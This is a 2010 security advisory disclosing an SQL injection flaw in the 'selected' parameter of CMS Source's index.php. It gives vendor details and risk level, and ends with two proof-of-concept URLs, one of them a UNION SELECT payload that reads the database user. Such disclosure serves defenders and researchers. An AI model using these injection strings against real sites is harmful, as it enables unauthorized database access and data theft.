SQL injection vulnerability in CMS Source



Vulnerability ID: HTB22547
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_cms_source_1.html
Product: CMS Source
Vendor: Proud Daddy Web Design ( http://www.prouddaddy.net/ )
Vulnerable Version: Current at 28.07.2010 and Probably Prior Versions
Vendor Notification: 28 July 2010
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "selected" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


http://host/home/demo1/index.php?target=articles&subtarget=Article_Detail&selected=50+ANY_SQL_CODE+--+
http://host/home/demo1/index.php?target=articles&subtarget=Article_Detail&selected=50+union+select+user%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+--+